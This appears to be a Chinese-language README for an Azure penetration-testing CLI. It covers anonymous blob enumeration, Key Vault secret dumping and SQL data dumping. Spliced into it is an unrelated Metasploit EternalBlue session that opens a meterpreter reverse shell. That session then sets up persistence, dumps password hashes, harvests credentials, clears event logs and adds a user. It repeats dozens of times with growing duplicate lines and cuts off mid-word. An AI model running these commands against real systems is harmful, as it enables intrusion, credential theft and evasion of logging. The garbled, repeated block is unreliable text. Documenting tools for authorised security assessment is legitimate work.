有关每个步骤及其原理的更深入说明,请参见
[`docs/blob-anonymous-attacks.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/blob-anonymous-attacks.md)。```bash
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
# -> HTTP 200 accessible=true
# 2. List the $web container (the default). Note the "versioning:" line —
# if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite
# 3. Enumerate versions. This surfaces files removed from the live site,
# e.g. an old backup archive with CURRENT=false.
./azpt blob versions --account acmewebsite
# 4. Copy the exact VERSION value of the interesting blob and download it.
./azpt blob download --account acmewebsite backups/site-transfer.zip \
--version-id '2025-03-14T09:22:10.1234567Z' -o loot.zip
# 5. Inspect the loot.
unzip loot.zip
blob hunthunt 自动化了步骤 1–4:它会探测一组常见容器名称,对于每个可匿名列出的容器,它会枚举版本,并将每个包含机密的文件报告为发现项。```bash
./azpt blob hunt --account acmewebsite
## 漏洞利用
### 漏洞利用 - 命令执行
```text
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
meterpreter > getsystem
meterpreter > getuid
meterpreter > run persistence -U -i 10 -p 4444 -r 192.168.1.100
meterpreter > run post/windows/gather/enum_domain
meterpreter > run post/windows/manage/migrate
meterpreter > run post/windows/gather/hashdump
meterpreter > run post/windows/gather/credentials/credential_collector
meterpreter > clearev
meterpreter > run post/windows/manage/eventlog_clean
meterpreter > run post/windows/manage/enable_rdp
meterpreter > run post/windows/manage/add_user
msf6 > use auxiliary/dos/windows/smb/ms17_010_eternalblue
msf6 auxiliary(dos/windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 auxiliary(dos/windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_psexec) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 443
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.100
msf6 exploit(windows/smb/ms17_010_eternalblue) > set EnableStageEncoding true
msf6 exploit(windows/smb/ms17_010_eternalblue) > set StageEncoder x64/zutto_dekiru
msf6 exploit(windows/smb/ms17_010_eternalblue) > set ExitOnSession false
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > set AutoRunScript post/windows/manage/migrate
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.10
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17```
account acmewebsite — anonymously listable containers: [$web]
SEVERITY CATEGORY TITLE RESOURCE
HIGH blob-anon Sensitive file exposed anonymously: site-transfer.zip backups/site-transfer.zip
MEDIUM blob-anon Container allows anonymous listing $web
MEDIUM blob-anon Historical blob versions anonymously retrievable $web
LOW blob-anon Blob versioning is enabled $web
自定义容器列表 — 覆盖内置词表:```bash ./azpt blob hunt --account acmewebsite --containers '$web,backups,assets,private'
**自定义检测模式** — `--pattern` 接受不区分大小写的正则表达式
(可重复)。它们会在内置模式之前被检查并标记为 HIGH,因此它们
可以优先于默认分类:```bash
./azpt blob hunt --account acmewebsite --pattern 'acme[-_]?corp' --pattern 'prod-'
关于特定目标没有任何硬编码——内置检测是一组针对各类可能泄露的文件的正则表达式(参见 Findings)。
一旦你持有凭据,两个工作流最为重要:了解该身份能做什么,以及获取机密。
enum access一条命令即可整合答案,使用你已登录的令牌:```bash ./azpt enum access
它按以下部分进行报告:
- **身份** — 用户/应用 + 对象 ID + 租户(从令牌中解码)
- **Graph 委派作用域 / 应用角色** — 哪些目录调用将会成功
- **目录角色** — 例如 *全局管理员* 会在此处凸显出来
- **组成员身份** — 来自 `/me/memberOf`
- **Azure RBAC 角色分配** — 每个订阅的角色名称 + 作用域
你没有权限访问的部分会列在 `NOTES` 下,而不会导致整个命令失败。RBAC 角色分配使用 `assignedTo()` 筛选器,因此包含组*继承*的角色,而不仅仅是直接分配的角色。
### 攻击路径图 — `scan`
压轴功能:`scan` 会枚举已登录主体的**全部**有效访问权限——组、目录角色、RBAC 分配、作用域和资源——并构建一个 **BloodHound 风格的攻击图**。它会标记高价值目标(Key Vault、存储、SQL、Web 应用、VM),将每个角色归属于用户*或授予该角色的特定组*,并推导出带有用于利用每个路径的确切 `azpt` 命令的评分攻击路径。```bash
./azpt scan # text summary: paths ranked by value
./azpt scan --html graph.html # interactive Azure-themed graph (open in a browser)
./azpt scan --loot --html graph.html # deep-scan loot: keys, kubeconfigs, LAPS, creds, snapshots, firewalls, ...
./azpt scan -o graph.json # raw nodes/edges/paths JSON (feed into other tools)
--html 输出是一个自包含、深色主题的交互式攻击地图(无外部依赖,完全离线可用),它使用每个节点的真实 Azure 服务图标进行渲染。它附带:
成员关系(谁在哪个组/角色中)仅在 scan --deep 时收集,该模式还会额外枚举组和目录角色成员,以便 Web 应用能够绘制身份 → 组 → 访问链:```bash
./azpt scan --deep --html graph.html # slower; enables expanding identities on the graph
- 点击路径或运行查询以高亮其路由并淡化其他所有内容,
点击任意节点可查看其入站/出站关系的详情卡片。
示例文本输出:```
OVERVIEW 3 groups · 1 directory roles · 2 role assignments · 32 resources · 9 high-value · 18 attack paths
[1] score 70 — Customer Database Access on "mbt-finance" → query databases
→ member of group "CUSTOMER-DATABASE-ACCESS"
→ holds "Customer Database Access" on RG content-static-2
→ which contains Azure SQL server "mbt-finance" (query databases)
exploit: azpt sql databases --server <name>
vaultKey Vault 用于存储机密、密钥和证书。通过
enum resources(ARM)看到一个 vault 并不意味着拥有数据平面访问权限——读取其
内容需要 Key Vault 访问策略(Get/List)或 Key Vault Secrets
User RBAC 角色。没有它你会得到 403 Forbidden,这是有用的信号。```bash
./azpt vault list --vault ext-contractors
./azpt vault get --vault ext-contractors --secret db-connection-string
./azpt vault dump --vault ext-contractors ./azpt --json vault dump --vault ext-contractors > vault-loot.json
`vault list` 会独立报告每种内容类型,因此,即使某个保管库中你可以列出机密但无法列出密钥,它仍会显示你*能够*看到的内容——并准确揭示你持有哪些数据平面权限。证书的私钥通常可以通过 `vault get --secret <cert-name>` 获取,因为 Key Vault 会通过同名机密将其公开。
对于主权云或异常端点,请传递 `--vault-url` 而不是 `--vault`。
### Azure SQL — `sql`
枚举并查询 Azure SQL 数据库。两种身份验证模式:
- **Entra ID 令牌**(默认)——使用你当前的凭据。当服务器具有 Entra ID 管理员且你的主体是映射的数据库用户时可用。
- **SQL 登录**(`--user`/`--password`)——当服务器*没有* Entra ID 管理员时需要(在令牌路径上你会看到 `Login failed ... not currently configured to accept this token`)。尝试在此处使用从其他地方恢复的凭据——例如 Key Vault 机密。```bash
# Entra ID auth
./azpt sql databases --server mbt-finance
./azpt sql tables --server mbt-finance --database Finance
./azpt sql query --server mbt-finance --database Finance -q "SELECT name FROM sys.tables"
./azpt sql dump --server mbt-finance --database Finance --table dbo.Customers --limit 50
# SQL login (recovered creds)
./azpt sql databases --server mbt-finance -U alissa-suarez -P '<password>'
服务器防火墙无论如何都必须允许你的源 IP。dump 中的表名在使用前会作为普通标识符进行验证(它们无法在 T-SQL 中参数化),因此通过 --table 进行注入是不可能的。sql query 默认是只读的——除非传入 --allow-write,否则 DROP/DELETE/UPDATE/EXEC/xp_cmdshell 以及其他变更语句都会被拒绝,因此经过授权的评估不会意外破坏数据。
storage匿名 blob 命令的经过身份验证的对应版本:使用你的 Entra ID 凭据(相当于 az storage ... --auth-mode login)来访问 blob 容器/blob 以及存储表。需要诸如 Storage Blob Data Reader 或 Storage Table Data Reader 之类的数据平面角色——通过 enum resources(控制平面)看到该账户并不会授予该权限;403 意味着你缺少数据角色。```bash
./azpt storage containers --account custdatabase ./azpt storage blobs --account custdatabase --container backups ./azpt storage download --account custdatabase --container backups --blob db.bacpac -o db.bacpac
./azpt storage tables --account custdatabase ./azpt storage entities --account custdatabase --table customers ./azpt storage entities --account custdatabase --table customers --filter "PartitionKey eq '1'" --limit 100
`blob` 与 `storage`:`blob` 是**外部、未认证**的攻击者视角
(匿名列举、版本枚举);`storage` 是持有凭据后的**已认证**视角。两者威胁模型不同,均已包含。
## 发现项
发现项带有稳定的 ID、严重性、证据和修复建议。完整的目录(含描述和修复方案)位于
[`docs/findings.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/findings.md)。摘要如下:
| ID | 严重性 | 含义 |
| --- | --- | --- |
| `STOR-001` | HIGH | 存储账户允许 blob 公共(匿名)访问 |
| `STOR-002` | MEDIUM | 未强制仅使用 HTTPS 传输 |
| `STOR-003` | MEDIUM | 最低 TLS 版本低于 1.2 |
| `STOR-004` | LOW | 启用了共享密钥(账户密钥)访问 |
| `STOR-005` | MEDIUM | 存储可从所有网络访问(防火墙默认允许) |
| `BLOB-001` | MEDIUM | 容器允许匿名列举 |
| `BLOB-002` | LOW | 已启用 Blob 版本控制(历史记录可能可恢复) |
| `BLOB-003` | MEDIUM | 历史 Blob 版本可被匿名获取 |
| `BLOB-010` | 视情况而定 | 敏感文件被匿名暴露(严重性由分类器判定) |
`STOR-*`(已认证审计)和 `BLOB-*`(匿名)是同一枚硬币的两面:`STOR-001` 表示“已配置公共访问”;`BLOB-001` 则通过从外部实际列举容器来证明这一点。
---
## 输出格式
默认输出人类可读的表格;添加全局 `--json` 标志可输出适合 `jq` 或导入报告流水线的结构化输出:```bash
